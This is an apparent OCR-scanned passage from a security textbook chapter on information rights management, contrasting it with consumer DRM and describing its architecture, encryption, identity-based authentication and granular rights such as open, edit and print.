Structured data is relatively easy to secure compared to unstructured data, which exists
in three states at various times: at rest, in transit, and in use. Unstructured data is found in
applications, networks, computers, storage systems, and even inside structured databases.
And once that data is printed into the physical world, it can no longer be controlled by the
software-based security technologies applied to the original source data. This chapter
provided an overview of a range of security technologies for securing unstructured data in
all of these locations, including the limitations of those technologies.

With regard to applications, we discussed the use of access controls, network and session
security, auditing and logging, and configuration management to protect unstructured data
at rest. For the network, we identified that you can use all of the network security technologies
described in Part IV of this book to protect data in transit. On computers, we covered
ensuring that only authorized users can access the data, controlling the flow of that data, and
securing the data at rest on the computer. On storage systems, we mentioned access controls
and discussed encryption in more detail. We looked at securing unstructured data within
databases through the use of encryption. In the physical world, we reviewed the challenges
and best practices for handling paper copies of confidential information. And finally, we
talked about two newer technology solutions: data loss prevention (DLP), and information
rights management (IRM) as solutions to protecting unstructured data.

There is a common thread to these technologies and what they attempt to achieve:
ensuring that only authenticated and authorized users can access secured data, and that
bypassing the access control protecting that data isn’t easy. These technologies also share a
common challenge: they need to be implemented in the proper places, and even when
they are, if the information travels beyond your perimeter of control, you lose control over
that information and visibility of where it goes thereafter. As with most security models,
layering of various security controls helps to close the gap by providing a defense-in-depth
approach to security.
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CHAPTER

Information
Rights Management

As described in the previous chapter, there are several technologies that address the
security of unstructured data, but once that data leaves your network, those security
technologies lose their effectiveness because you no longer control the environments where
the data has migrated. One common theme among those technologies is that the security
controls are tied to something other than the data itself, such as network or computer
perimeters. As discussed, there is only one technology that fully secures access to the data
regardless of where it travels. The solution is to build the classification metadata, the access
controls, and the information about which rights are allowed to individual users right in to
the data itself. This solution is known as information rights management (IRM).

IRM is essentially a combination of encryption and access controls that are built into
document creation and viewing software applications, so that encrypted content can be
decrypted and viewed based on access rights. In the following sections of this chapter, we
examine the history of rights management technologies that began with the digital
entertainment industry and led to today’s IRM solutions that apply similar controls to any
unstructured data.

In the first part of this chapter, we start with the high level architecture of IRM,
including the primary components of any IRM infrastructure and how they work when a
user is connected to the network and when they are offline. We will also discuss why
auditing and reporting is an important feature of IRM.

In the second part of this chapter, we will look at the classification of data and how that
leads to protecting data based on its confidentiality. We will also consider how users are
given access to IRM-protected data and how that leads to locking down that data so it can
be distributed to allow authorized users to access it, and what they are allowed to do with
that data based on their rights assignment. You’ll see how unauthorized users, who have no
rights, are unable to do anything with the data, even when those users were previously
authorized and their rights were subsequently revoked.
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Overview

IRM shrinks the security perimeter to the
information itself, as depicted in Figure 9-1.
With IRM, you are not protecting the location
where the information lives, nor the network it
lives on. Instead, you are applying access control,
encryption, and auditing to the information
itself. That way, regardless of which disk the
information resides on, which networks it travels
across, or which database it may be resident in,
IRM is able to provide a persistent level of
security to the information wherever it goes.

IRM provides security protections not only
for data at rest and data in transit, but also for
data in use—which, as noted in Chapter 8, is
hard to accomplish. IRM technologies are able
to prevent things like data being copied to a
clipboard and pasted into another application. IRM can allow authorized users to open
content while also limiting their ability to edit that content or make printed copies of it.
With this level of control for data in use also comes auditing of all access to the
information, even after it has left the perimeters of your network. These controls are
basically impossible to implement with any other technology.

With its fine-grained data-in-use features, the most valuable thing that IRM brings to
the security landscape is the ability to control access to information, every time it is
accessed, from any place it is copied to, and for every single copy, anywhere—along with
the ability to revoke that access at any time. Imagine the scenario where your business has
shared millions of e-mails, images, spreadsheets, documents, presentations, and so on with
your business partners, customers, potential acquisitions, and employees (both current
and long gone). Now imagine being able to revoke access to all that information and
ensure that, as your business relationships and trusts change, you can maintain appropriate
access to information even when it has long left the confines of your file servers, content
management systems, and networks. The security of the data is persistent. Unlike nearly
every other data security technology, the information is never given to the application or
end user in an uncontrolled manner.

IRM technology extends the reach of information access control to well beyond places
where you can typically deploy identity and access control technology. However, as with
any technology, IRM has pros and cons, and this chapter will cover those. IRM is not a
replacement for existing security solutions, but it is an excellent tool to complement them.
IRM represents a powerful tool for reducing risk of data loss.

The Difference Between DRM and IRM

You may already be familiar with digital rights management (DRM)—the technologies used
by copyright owners to protect music and movies. IRM is nearly the same thing; it can be
considered a type of DRM. IRM is sometimes referred to as E-DRM, or enterprise digital

Data Center

Network

IRM Secured
Content

Figure 9-1 IRM shrinks the security
perimeter of information to the content itself.
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rights management. The distinction is that DRM has been developed mainly for use in the
consumer space, while IRM focuses on the business problems of information security.
DRM typically has a poor reputation with consumers, not only because of problems with
overrestriction and excessive enforcement, but also because media companies who
mandate its use have done a poor job of communicating any value of DRM to their
customers. Thus, the IT world prefers the term IRM (or just rights management), to avoid
negative associations with DRM.

The customers who buy music and movies from the entertainment industry feel strongly
about being able to use, copy, and play their music and movies on any device they own.
People are used to buying and owning vinyl records, cassette tapes, CDs, and DVDs—
physical media that can be used in any supported player. Standards for CDs enable them
to be played on any CD player, and the owner owned the content for the lifetime of the
medium, which in theory is forever for a CD if handled carefully.

But does the owner of a CD really have a license to play the content for the lifetime
of the CD? The answer to that is complicated, because the information owners (the
entertainment companies) typically do not want consumers to have unlimited rights to play
the content wherever they want. Entertainment companies have, on occasion, attempted to
restrict playback ability even when the law and usage agreements do give consumers those
rights. As a result, the owner of the CD is likely to believe they are allowed to do anything
they want with that CD, whereas the entertainment company that produced the CD may
not agree. Thus media rights are never completely black-and-white, and consequently are
often disputed in courtrooms.

Most people believe that physical ownership of CDs can be transferred without
restrictions—in effect, they are allowed to sell their CDs online or to their local music store.
But how do the information owners view that (especially considering that the sales of used
CDs can be considered as competition to the sales of new CDs)? In fact the entertainment
companies generally do not agree with the consumers on this point.

The same debate exists for movies on DVD and digital media, and is even more heated
because movies represent a more profitable product. Despite the fact that consumers are
accustomed to being able to resell or give away their CDs without restriction, whether or
not the record companies agree (and largely because not a lot of attention has been given
to this type of rights transfer), those consumers don’t understand why they can’t do the
same with digital media like movies. Ripping a movie is just as easy as ripping a CD, which is
a very common way to move music from a purchased CD to a portable music player. Why is
it okay to rip music but not movies?

From the perspective of the entertainment industry, the ease with which digital information
can be duplicated and distributed has caused enormous financial losses because copyrighted
entertainment content has been widely shared without any compensation to the industry.
DRM has been used to recover and maintain that control. Corporations in the entertainment
industry argue that they need to maintain control over their content to make money to pay
artists, producers, studios, and others involved in the creation of the media.

With these opposing perspectives of consumers and corporations, the topic of DRM is
controversial. The entertainment industry likes it because of its inherent ability to restrict
use and redistribution, but consumers dislike it for the same reason—they want the same
level of flexibility and ownership that came with physical formats.
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Gone Too Far with DRM?

In 2005, Sony BMG made headlines when it was discovered that some of its music
CDs secretly installed Trojan software on computers that forcibly implemented DRM.
When unsuspecting consumers inserted a music CD into their computer, the Trojan
compromised the computer by installing a rootkit that blocked attempts to copy or
play music outside of Sony’s own music player. Widely considered to be poorly
programmed, the rootkit was later found to provide a convenient hiding place for
other viruses and malware.

Regardless of the ethics of using malware-like behavior to force a company’s
requirements onto consumers, which most would agree is not good for customer
relations, DRM itself went from being unpopular to being symbolic of “Big Brother.”
By forcing DRM onto its customers in this way, Sony BMG exacerbated the already
existing division between consumers and corporations, and this incident elevated
DRM’s already troubled reputation to that of global pariah.

A classic example of DRM in use is the inability to copy a song downloaded from an online
music store. DRM may restrict the customer from copying or moving the song from one
computer or music player to another computer or music player. The real goal is to prevent
unscrupulous people from distributing the content to other people. But DRM often prevents
users from making legitimate backups of CDs or DVDs, and it can prevent the viewing or
listening of content on devices because of incompatibilities and differences between varying
manufacturers and varieties of DRM. As a result, many legal battles have ensued between the
media companies and consumer groups over the use of DRM technologies.

A key differentiator between DRM and IRM is the relationship between the content
producer and the consumer (see Figure 9-2):

* DRM controls access to published entertainment content such as music, films, and
e-books. The relationship between the author of the content and the consumer is
one-to-many. This means that a single entity creates the content, and many people
purchase and use it. DRM is intended to ensure that a person who purchases
particular content on a particular device can’t transfer or distribute a copy of that
content to any other device, other than as authorized by the owner, without financial
compensation to the content owner. In other words, one owner, many consumers.

e IRM controls access to information such as medical data, financial records,
engineering research, marketing plans, and sensitive e-mail communication—
typically within the umbrella of a single organization. The relationship between the
author of the information and the consumer is more complex and is considered
many-to-many. For instance, a VP of finance who is the trusted authority to create
company financial information might be working alongside a trusted group of
executives who collaboratively work on a set of documents that contain private
financial data. The VP of finance and his or her trusted colleagues might be allowed

www.it-ebooks.info


http://www.it-ebooks.info/

Chapter 9  Information Rights Management 215

DRM IRM Marketing
Director
Music Company

VP Finance I
l / External

Contractor
g We

d 4 4 b [

SALALAL)

Figure 9-2 DRM and IRM user relationships

to open, edit, and print those documents. Yet a different set of people, such as the
company sales team, may only be granted the right to open and view the contents
of those documents, without being allowed to modify them. And yet another set of
people, such as external contractors, might be allowed to access the location where
those documents are stored, but they are not authorized to open the documents
at all. In this example, the access controls of the storage system on which these
documents reside will not be sufficient to provide the needed restrictions on what
the sales team and external contractors can do.

The different access requirements of different sets of information consumers drive the
designs of the technologies and their deployments. This is why IRM is more complex than
DRM. DRM is all-or-nothing—either you have access to the data, or you don’t. IRM controls
what you can and can’t do with data. A goal of DRM may not be a goal of IRM, and vice
versa. People in general are frustrated with DRM because the main goal is to control and
limit access to information, and end-user impact is not always a primary consideration. By
contrast, IRM is something people want—to ensure that critical information about them or
the company they work for is kept under control. DRM is typically aimed at controlling one
file for access by one user, but in a business environment, information is shared with many
authorized people and the access rules change often, thus IRM is a good choice.

What’s in a Name? EDRM, ERM, RMS, IRM

Given that DRM has a bad reputation, and that security practitioners who like the
benefits of rights management don’t want to get embroiled in controversy, we would do
well to avoid altogether the terms “digital rights management” and “DRM” and their
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problematic associations. Thus, instead of using these terms, we need a new name.
Several choices have been proposed:

¢ Enterprise digital rights management (EDRM) This is an attempt to associate
the DRM concept with the goals and objectives of enterprise environments. It is
considered a weak choice because the name doesn’t really avoid the negative
connotations associated with DRM.

e Enterprise rights management (ERM) This is similar to the preceding term but
without “digital” included. The acronym ERM is already commonly used to
represent the terms enterprise risk management and environmental resources
management, so this is also a weak choice.

¢ Rights Management Services (RMS) This actually refers to Active Directory Rights
Management Services (AD RMS), Microsoft’s IRM technology. Microsoft uses the
acronym AD RMS to describe the product that delivers IRM functionality. This is a
brand name, therefore, this term should not be used to describe rights management
in the broader sense.

¢ Information rights management (IRM) As you are already aware, in this book
we’ve chosen to use this term, which is generally descriptive and provides a
conceptual separation from the problematic and unpopular DRM technologies,
even if it is just in name, and even then only by one word.

It’s also generally acceptable to shorten the name to just “rights management,” which is
the common denominator among all the names, even though that term doesn’t exactly
make clear what “rights” are being “managed.”

Evolution from Encryption to IRM

Many people think of IRM as a new technology, but it’s actually been around for over a
decade. Here’s a brief history.

The first practical computerized use of encryption to protect unstructured content was
PGP, developed by Phil Zimmermann to secure messages and files from prying eyes. This
moved strong cryptography from the province of a few government agencies into the hands
of millions of individuals around the world.

Other encryption solutions soon followed, some commercial, and others open source.
Files wrapped in encryption could be shared electronically over the Internet and only those
with the right cryptographic certificates could decrypt and access the data. However, file
encryption solutions only allow the secure storage and transit of information—once the file
is decrypted, the control is lost. It could be stored in unsecure file formats and easily
retransmitted further without its protective encrypted wrapper. Furthermore, anybody with
the right key could access the data. Keys could be lost, stolen, or published, and they need to
be shared, so they didn’t really constitute a bulletproof solution. In fact, key management
became one of the hottest topics in encryption, for exactly that reason.

In order to preserve the protection of files regardless of what actions people might
perform, the next main advance in unstructured content security was Digital Rights
Management (DRM) developed and used by the entertainment industries as discussed
in the previous section. In addition to its unpopularity, DRM proved eminently hackable.
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All modern implementations of DRM have been compromised, resulting in an array of
software tools available to end users to bypass built-in content controls.

IRM was the next and current generation. Securing not only the delivery of data, but
also creating mechanisms of persistent control, IRM solved the problem of key
management as well as restricting functionality. Consider, as an example of business
requirements, a hypothetical organization that needs an IRM solution.

A company has an engineering department of 500 people, of which 300 are managers
and product specialists who are allowed to create and edit classified information about the
products they design and build. The remaining 200 people are only allowed to open and
view that information. In addition, there are 100 people external to the company, at
different partner companies, who also need access to some of that information. After
6 months, due to a change in the market, several external partners are cut, and 10% of the
internal employees are laid off. A year later, the company acquires a smaller company of
which 50 new people now require access to the information. In this time, some of the
engineering department members have been promoted to a manager or specialist and as
such they have gained a need for access to the information changes, allowing them to
create and edit documents and emails. Over this hypothetical two years, thousands of
documents, spreadsheets, images, emails and other such unstructured content is created
for many different projects, all containing a variety of sensitive information.

How are you going to ensure that every copy of every document can be opened and
used in a consistent manner? How do you ensure that terminated employees can’t just
walk away with all the companies’ crown jewels and take it, en mass, to the competition?
What about partner relationships that have changed? Where you’ve already sent thousands
of sensitive documents? This is the challenge to be solved by IRM. The above-defined
functional requirements are all needed in this complex scenario, which is representative
of the complexity of a typical business case. Encryption, file collaboration services, and
access controls alone won’t be able to solve all the aspects of the business problem.

IRM Technology Details

Different vendors have different solutions, each with variations in architecture, but to be
considered an IRM technology, an IRM solution should have the following characteristics:
content encryption, identity-based rights definitions based on authentication, persistent
access controls for data, granular rights, offline capability, and auditing and reporting. Let’s
consider each of these in more detail, beginning with an overview of the architecture of an
IRM implementation and ending with a note about file formats.

What Constitutes an IRM Technology?

With over 20 technology vendors selling some kind of IRM solution, and many more general
security vendors offering similar, non-IRM capabilities for protecting information in files and
e-mails, how do we classify a solution as IRM? Off-the-shelf products range in capabilities from
atrest and in-transit encryption to fully configurable document functionality restriction. In
the middle are many commercial solutions. So when is IRM really IRM?

The best definition of a full IRM solution is a document protection technology that
supports the most commonly used business document formats, works when a user is connected
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to the network as well as offline, allows revocation of access to content no matter where it
resides, and includes all of the following criteria which combine controls for confidentiality,
access control, and functionality.

1. Employs a client/server architecture that provides centralized management of
rights (as opposed to a built-in protection that cannot be changed remotely).

2. Uses a format that includes the document content as well as metadata containing
security rules that are used by document viewing and editing applications to
control access.

3. Provides confidentiality for protected information in unstructured files through the
use of encryption.

4. Leverages an identity from an enterprise directory to authenticate a user to the
information and apply the access control. Embedding this access control into the
content is not sufficient. Because IRM technologies are aimed at the enterprise,
they should support industry-standard authentication schemes, work with identity
federation technologies, and be able to connect to commonly used user
authentication directories.

5. Applies a rights model, based on an enterprise classification system, that controls
access to ensure only certain subjects can decrypt and access the information and
define what they can do within the document. This should include a combination
of at least the following basic in-use controls:

® Create a new document with IRM protection based on a pre-defined classification
® Open and view a document only; unable to edit or copy information within it

e Ldit and save changes into the protected format

* Print to a trusted print device

® Forward a document or message and reply to a protected message

® Provide a basic level of screen-capture protection

6. Generates reports of access to content.

Architecture

The metadata that accompanies an IRM-protected document comes from both the IRM server
and the IRM client performing the protection. The server provides a rights model and
classification system to define the relationships between content and users. This is an
important aspect of IRM (and it is one of the functional differences that distinguish IRM from
DRM technologies—DRM creates a right for a user to access a single piece of information and
restricts the user from interacting with the content and sharing it with others).

IRM, however, abstracts much of the data onto the server. This is because IRM must
allow for secured information to be shared with many diverse parties, and the rights given to
those parties can change often. IRM also must allow a wide range of collaborative scenarios,
involving varying levels of rights, to occur without changing the document to which those
rights are applied. If IRM were to embed the rights and identity data directly into the files,
like DRM does, this would limit scalability to support the wider range of use cases required
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in an enterprise documentrich environment. IRM also needs to integrate with complex
business environments with overlapping requirements to define rights to information.

The system has to incorporate the enterprise identity infrastructure and also be accessible
by certain parts of the business and end users. Unlike DRM, which is usually intended to be
hidden from the end user, IRM wants to inform the user about the rights they have—and
create mechanisms in the rights system that allow users to request rights changes from the
content owner. When users have not been granted access to IRM-secured information, there
needs to be a way to redirect users to the right business process to request access.

IRM solutions have a common set of basic architecture building blocks that are designed
to facilitate access to the data for authorized users while blocking unauthorized users from
performing various tasks with the data.

Clients and Servers

IRM technologies protect information that will travel far beyond the perimeters of the
typical enterprise network. Therefore, IRM technologies use a classic client and server
architecture. Figure 9-3 shows an example of how the client and server communicate to
control access to protected content.

The IRM server stores information about user rights, cryptographic keys, auditing data,
and classifications. The IRM server is accessible from the public Internet, so users can open
documents no matter where they are (as long as they are on the Internet). Such access
ensures that traveling employees can still gain access to content without the need to be
physically connected to the corporate network.

Unstructured content is secured with the IRM server. This process typically happens in
one of two ways: it is secured as part of an automated process when the content is downloaded
from an application, a content management repository, or a file share; or end users secure

Application/
Repository

IRM Client

4

IRM Server

Figure 9-3 Client/server communication flow
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content by making a manual decision using the client software user interface. Once the
document is secured, it can be distributed anywhere with the confidence that only authorized
users can open and use it according to the content owner’s rules.

When a user attempts to open a secure file, a piece of client software is needed on
their local computer to perform the decryption and enforce the access rules. Depending
on the vendor, this may require an additional download or it may already be built in as
part of the operating system or document publishing application. The client software
reads the IRM server information from the file and communicates with the IRM server,
passing authentication information and other document attributes. Depending on the
information passed, the user may then be granted access to the document. If so, the
information required to open the content is securely sent back to the client, where it may
be cached for later use when the user is offline.

IRM Secured Content Format
IRM is all about protecting unstructured data files, as defined in the preceding chapter.
E-mails, spreadsheets, documents, images, and HTML pages are examples of such
unstructured data files. Each of these file types has its own specific format, but they all need
to be protected in the same way. Most IRM vendors do not own the document format
specifications for the content they are protecting. There is also no commonly accepted
standard for how vendors should create IRM content, so it’s up to each vendor to define its
own IRM file specification. These specifications typically take the form of a container in
which the information being protected is kept in encrypted form, in addition to metadata
that describes what IRM classification applies to the protected content, along with the URL
for the IRM service and other IRM-specific data. In some cases, the file extension for the
document also changes. Figure 9-4 shows how encrypted data is commonly embedded in
encrypted form in an IRM file that also contains rights data along with digital signature
information to validate transactions.

Microsoft owns the format specification for Microsoft Office documents, and Adobe owns
the specification for PDF documents. As such, those manufacturers didn’t need to create new
formats to secure documents; they chose instead to modify their own

formats to include the IRM functionality, and design their software

. . . ° ; ) Digital Signature
clients to enforce it. They still use encryption along with a section of

new metadata containing the certificates, licenses, and other
?nfo.rmatlon needed to describe and .c01.ntrol the content, as depicted Rights Data
in Figure 9-4. Other vendors have a similar approach. Once the

source content has been encrypted and any rights metadata added,

then the whole file is digitally signed to ensure it is tamperproof.
Signing of the whole file is performed because while the source

content is encrypted, the metadata needs to remain readable in

order for the software to process it. We don’t want that metadata,

which contains classification information, to be changed so an Egg;}l};;id
attacker could modify their own permissions. To prevent such
tampering, the entire document is signed so that any change in the
bits causes the IRM client software to deny any access to the content,
when it can no longer be trusted.

As an example, consider the protection of a JPEG file using ] _
Oracle IRM. The original JPEG file, which has a JPG extension, is r&“:a‘;‘ Atypical
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Figure 9-5 The file header from a JPEG file protected with Oracle IRM
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encrypted and then stored in a file with an .SJPG (Sealed JPEG) extension. At the top of the
file is stored a variety of cleartext data that describes the classification of the file, the location
of the IRM server, and similar information. Preceding all of this is a cleartext statement that
informs anyone who opens the file in something other than the Oracle IRM Desktop
client that they must have the software installed and configured correctly to access the file.
Figure 9-b shows a sample of such a file.

Cryptography
Cryptography is an important tool for protecting the confidentiality of data. For this reason,
IRM relies on cryptography, which is a core component of IRM solutions.

Content Encryption The first step in any IRM technology is to encrypt the content of the
unstructured data you want to protect. The encryption used to secure the content is almost
exclusively symmetric-key encryption, because it is fast, and decryption to access the content
usually needs to be done quickly. Symmetric-key cryptographic algorithms, in which the
same key is used for the encryption and decryption of the data, are designed to be fast. As
mentioned earlier in this chapter, this presents a problem if encryption is all you are doing,
because anyone who has (or cracks) the key can easily decrypt the content. As with standard
key-management approaches, asymmetric (public and private) key pairs are typically used to
then encrypt the symmetric key itself. Asymmetric cryptographic techniques are not used to
encrypt the actual unstructured content, because they are much slower. Nobody wants to
wait while opening or saving their document.

Signing  As previously described, IRM file formats contain freely readable metadata, which
allows the IRM software to extract the IRM server location, classification of the data, and
other content-specific information. This has to remain unencrypted; otherwise, the client
software has no way to know where to get the cryptographic keys needed to decrypt content.
Because this data resides in cleartext in the file, the whole file is signed to ensure someone
cannot spoof the IRM server URL or other data. With a signature, any changes made to the
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file would result in the IRM client software not being able to verify the signature, in which
case it would refuse to open the tampered content. Another benefit of signing is the
confidence that the content was created from a trusted source, and as such is a legitimate
IRM-protected document.

Communication Encryption IRM clients need to talk to IRM servers to send authentication
information and in return receive rights information. Due to a lack of standards, the actual
protocols used are proprietary to each vendor. However, they do send their proprietary IRM
communication over standard protocols for securing the connections. Nearly all IRM
solutions use Secure Sockets Layer/Transport Layer Security (SSL/TLS) between client and
server. This allows for IRM deployments to leverage existing PKI infrastructure for client
and server communication. Most IRM servers are implemented inside web application servers.
This means that setting up an SSL certificate to secure the client to server communication is
relatively easy, and in fact is often already in place out of the box.

IRM deployments can be configured to communicate using regular, unsecured HTTP.
This is highly unadvisable because the communications are going to transfer the cryptographic
and rights information from the server to the client, and if this data is compromised, it puts
the entire IRM deployment at risk.

Offline Rights Encryption After a client has received rights to access content, those rights
can be cached so that the same content can be opened without a valid network route back to
the IRM server. This is an important aspect of an IRM solution, because even in today’s
“always connected” world, being able to access secured content without communicating to
the server allows for scalability, ease of use, and redundancy. Offline access is covered in
more detail later in the chapter.

When rights are cached for offline use, they need to be protected. These rights contain
the cryptographic information used to decrypt the secured content, so it is very important this
information is protected from abuse. Once again, cryptography is used to solve the problem—
an encrypted secure container is maintained by the IRM client software to store these rights.
The encryption of the store is also typically keyed to the host computer in some fashion to
ensure that the IRM-protected files can’t simply be transferred to another, unauthorized
computer to allow content to be accessed without the server authenticating the client.

Identities

Once a document has been secured with an IRM technology, access to it can be limited to a
range of specified users, or identities. An identity might be a user in Active Directory, an X.509
certificate, or a user who’s been authenticated by an online service like a social networking
site. IRM uses these identities to enforce who can access what. This is different from just
storing a password in a document. The identity and authentication process does not rely on
the content of the document itself, and as such it allows for IRM solutions to revoke access to
secured content without having to change the content. This is a great advance over plain file
encryption, which allows access forever to those who have the key or can crack it.

This authentication process is a key benefit of IRM—it authenticates people with the same
set of credentials they already use to access their corporate network, e-mail, and computer.
Imagine a scenario where instead of using IRM, you use traditional file encryption to secure five
documents that you share with a group of ten users. If the security solution places a separate
password on each document, then you end up with five different passwords that all ten people
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need to know. This would become even more complicated as the number of documents
increased. So, what most people do instead is use just one password for all documents. That
results in a single password protecting your most valuable information. If someone gets hold of
the password, they can access the content regardless of whether they’re supposed to. And what
happens when you want to revoke access to any of the ten authorized people?

Identity Management (IDM) systems not only extend the functionality and ease of use
of IRM, they also extend the reach of the IDM system to information beyond the traditional
network perimeters. In a traditional network-resource environment, identity and access
control solutions apply to information only as it resides within a network, device, or
application to which security controls are applied. IRM extends the reach of those systems
to anywhere the information may travel, inside or outside the network.

Another feature of IRM is the ability to revoke access to information. When an employee
leaves a company, their corporate account is typically disabled or deleted. If that company
protects its documents and e-mails with IRM, the employee automatically loses access to that
information no matter where it has been transferred to. This solves the age-old problem of
an ex-employee taking intellectual property from the company when they leave and giving it
to a competitor.

The integration with identity management systems does stop at the corporate directory.
IRM can be integrated with advanced risk-based authentication solutions that make access
decisions based on numerous factors such as IP address, GPS location, or patch level of the
host. Such integration can allow access to sensitive documents and e-mails only when the
user is using a device within the borders of a particular office, area, or country, or in other
known locations.

How IRM Authentication Works At a high level, here is a generic flow describing how
IRM authenticates users:

1. A user attempts to access an IRM-protected file by opening an e-mail or double-
clicking a protected file.

2. Before the content can be opened, the IRM client requests credentials from the user.
This may require interaction with the user, or it may be an automated process leveraging
an existing authenticated session and therefore achieving a state of single sign-on.

3. Credentials, combined with metadata about the content being accessed, are passed
by the IRM client to the IRM server for validation over a secure network connection.

4. The IRM server (usually a web application server) authenticates the credentials
against a connected identity store.

5. If the authentication is successful, the IRM server then determines whether the user
actually has rights to open the content. Alternatively, the IRM server may rely on another
identity management and access control technology to make this determination.

6. If the authorization is successful, a set of rights is passed to the user that enables the
decryption of the content and rendering of it to the user based on the restrictions
defined in those rights.

Access Feedback Loop Authentication and authorization are two different things. The

former establishes who you are, and the latter defines what you can do. It’s possible for a
user to successfully authenticate but fail to authorize for a specific function. This may come
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into play in collaborative environments where people need to know how to request access
to information. The denial of access can also be leveraged to inform users about policy, the
reasons for denial, and the exception request process. IRM works as an awareness-raising
service as well as an access control tool. IRM works alongside identity management systems
to redirect users back to self-service functionality, where a user’s access request may go
through a workflow that includes approval from the information owner.

Figure 9-6 depicts how the IRM client takes user credentials and passes them securely to
the IRM server, which in turn authenticates the user against whatever identity platform the
server has been configured to work with. The IRM server may be configured to trust claims
from the user as a result of federation with external identity platforms the IRM server also
trusts. After the user’s identity has been authenticated, the IRM server checks to see whether
the user is authorized to access the content. This may be another external call but often is a
result of internal IRM server logic. If the user does indeed have rights to the information,
the IRM server ships them a set of rights, which includes the cryptographic keys that allow
the decryption of content. This is how the key-management problem is solved.

Rights

Document encryption and access controls are important components of IRM, but alone they
do not constitute an IRM solution. This needs to be said, because some products may be
marketed as “IRM solutions” when they really don’t have full IRM functionality. Among the
other features required to qualify a product as IRM is the rights model. This is the complex,
granular set of rules that defines which identities are allowed to access what information
(the secured content), and what they can actually do once they’ve been given access. It is
this rights model that provides a logical mapping from your enterprise security policy to the

IRM Server Active Directory
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4 Rights to Content
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e Document
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e~
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Figure 9-6 IRM client and server communication with a directory store
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IRM technology. By contrast, file encryption only protects individual documents to be
shared with a few other people, and it only scales to a small number of people. When you
scale the challenge of document protection up to a group size of hundreds of thousands of
users, you run into a management problem.

The IRM rights model allows you to create classifications, separate out groups of people
in the business environment inside and outside the network perimeter, and associate the
protected information with your security policy. By centralizing this policy management,
you can retain control over access to thousands of documents in a manageable manner.

Rights classification is typically defined by three main components:

¢ The content being protected
® Rights defining access to the content

¢ Identities (users, groups) that are assigned rights

A data model then defines the relationship among these components. For example, you
might create a classification in the rights model called Top Secret Finance Data. Within it
you might add two groups from Active Directory, Finance Department and Executive
Board, as shown in Figure 9-7. The Finance Department is given rights to open content,
create content, edit content, and print, while the Executive Board is only given rights to
open content. All of this information is stored in the IRM server, and certain aspects of the
data are pushed to the IRM clients and into IRM-protected content.

Once a piece of content has been secured, a rights classification has been applied, and a
user can access the content with their enterprise identity, an important aspect of IRM comes
into play—persistent control. Instead of simply decrypting the information for the user to
open in whatever application they choose, the IRM client software manages the entire
process of decryption, rendering, and user interaction. After a successful authentication, the
IRM server distributes to the end user a set of rights that dictates how they can interact with

Top Secret Finance Data

Secured Content

Figure 9-7 A simple example of an IRM rights model controlling functionality
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the content. These rights will expose a varying level of functionality regarding the ability to
print, copy, or edit the information.

First, the content needs to be securely handed off to the application that will control
the interaction between the user and the content. This process typically goes like this:

1. The user successfully authenticates to the content, and a set of rights is made
available to the user.

2. The IRM client accesses the source content by using the decryption keys for the
content, which are contained in the set of rights. The content is decrypted into a
secure location.

3. The application associated with the content (such as a document viewer) starts, and
the IRM client either dictates to the rendering application what features should be
made available or takes over the rendering directly (depending on the specific
product). For example, the IRM client determines whether the print buttons in the
interface and the print options in the menus should be available to the user.

4. Once the rendering application has been secured, it is passed a reference to the
secure location of the decrypted content, and it renders the content to the user.

5. As the user interacts with the content and the application, the IRM client consistently
monitors for legitimate and illegitimate activity. For example, the IRM client
determines based on the user’s rights what happens if the user attempts to take a
screenshot, or what happens if the user is allowed to print but attempts to print a
Word document as an electronic PDF file instead, which is really a way of saving the
document in a different format. Figure 9-8 shows an example of this restriction.

Print 2l

rPrinter

Mame: I I :é PrimaPDF j Ero_lperties
Status: Id!e Find Printer. .. |
Tvpe: PrimoPDF

Where: PrimoPort: [ Print to file
Comment: [~ Manual duplex
Page range Opie:
« al Mumber of copies: |1 5‘
o Current page " Selection
1 1 -

R r
Dracle IRM Desktop [ |

L] This print device appears to allow the creation of a digital copy of the file, ¥ou need the 'print ta file' right ta prink ko
. it. &lternatively try using a different printer.

SR TG paper S22t [fo Scaling = ‘

Options. .. O I Close I

Figure 9-8 |IRM prevents someone with print rights from creating a digital version via a
PDF printer driver.
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6. If the user is able to edit and save the document, the IRM client protects all the
artifacts of this activity as well. It monitors and secures temporary files generated by
the application, and encrypts any changes saved into the IRM secured file.

7. Finally, when the user closes the application, the IRM client ensures a clean exit—
removing decrypted content from the secure location, destroying any cryptographic
keys that were in use, and shutting down IRM-related processes.

IRM rights control individual actions that an authenticated user can take within the
protected document. The rights described next are common to IRM solutions.

Create and Protect Some IRM technologies allow you to dictate whether a user has the
right to create a new secured document, as opposed to opening an existing one. Being able
to control this aspect of an IRM technology has a powerful implication. You can control not
only who can consume protected content, but also who can create sensitive information.

To illustrate this principle, consider a scenario where you are using IRM to secure
company e-mail communication. You may, for example, have a classification set up that
allows all company executives to read e-mail announcements from the CEO. Let’s say this
classification is called Executive-Announcements. In this scenario, you only want a few
select people, say the CEO, the CEO’s administrators, and a few trusted executives, to be
able to create and secure e-mail against this classification. For this particular classification,
you don’t want anybody else to have the ability to send executive announcements. You can
then use the Executive-Announcements classification to restrict that ability.

The Create right differs from the Save right; instead of allowing someone to open, edit,
and save changes to existing content, the Create right controls the authority to create new
information in a particular classification and protect it.

Open and View Controlling access to open content and to view it is the most fundamental
capability of an IRM solution. The Open right allows an authenticated user to open and
view the protected content. In general, any user who is going to work with and access
IRM-protected information needs the right to open and view it.

Edit and Save The right to open and view content only gives users the ability to read the
information. The Edit right gives them much more capability by comparison. However, this
capability is constrained by the underlying document management software. For PDF
documents opened in a viewer, the Edit right may not have any effect at all, but for Word
documents, the Edit right will enable the user to make changes to the content just as if IRM
were not applied. There may also be differing levels of Edit rights. For example, one level
may allow the user to copy data to the clipboard and other nonprotected applications,
while another level may prohibit this action.

Most people would agree that if you have the right to edit a document, you should also
have the right to save it—otherwise, your edits would be lost. Thus, edit and save rights are
usually delivered at the same time. However, there may be unusual situations where you
want to allow a document to be edited but not saved. For instance, you may want to allow a
user to interact with a spreadsheet, enter data, and do calculations, but you may not wish
these changes to be saved back to the official source document—much like a template that
behaves like a calculator. In that case, you can prohibit the Save and Save As commands
but allow the Copy to Clipboard right, so that data can be copied out of the template.

www.it-ebooks.info


http://www.it-ebooks.info/

228

PART Il Data Security

Alternatively, you could allow the user to use the Save As command, but prevent them
from using the Save command—thus they could make their own personal copy based on
something they changed.

Print Despite the growth and migration of information into digital form, and periodic
promises about the “paperless office,” people continue to want to print content. Printing is
also one of the vectors by which content is easily lost, and it’s one of the more difficult ones
to control. For this reason, controlling the ability to print is perhaps the most popular
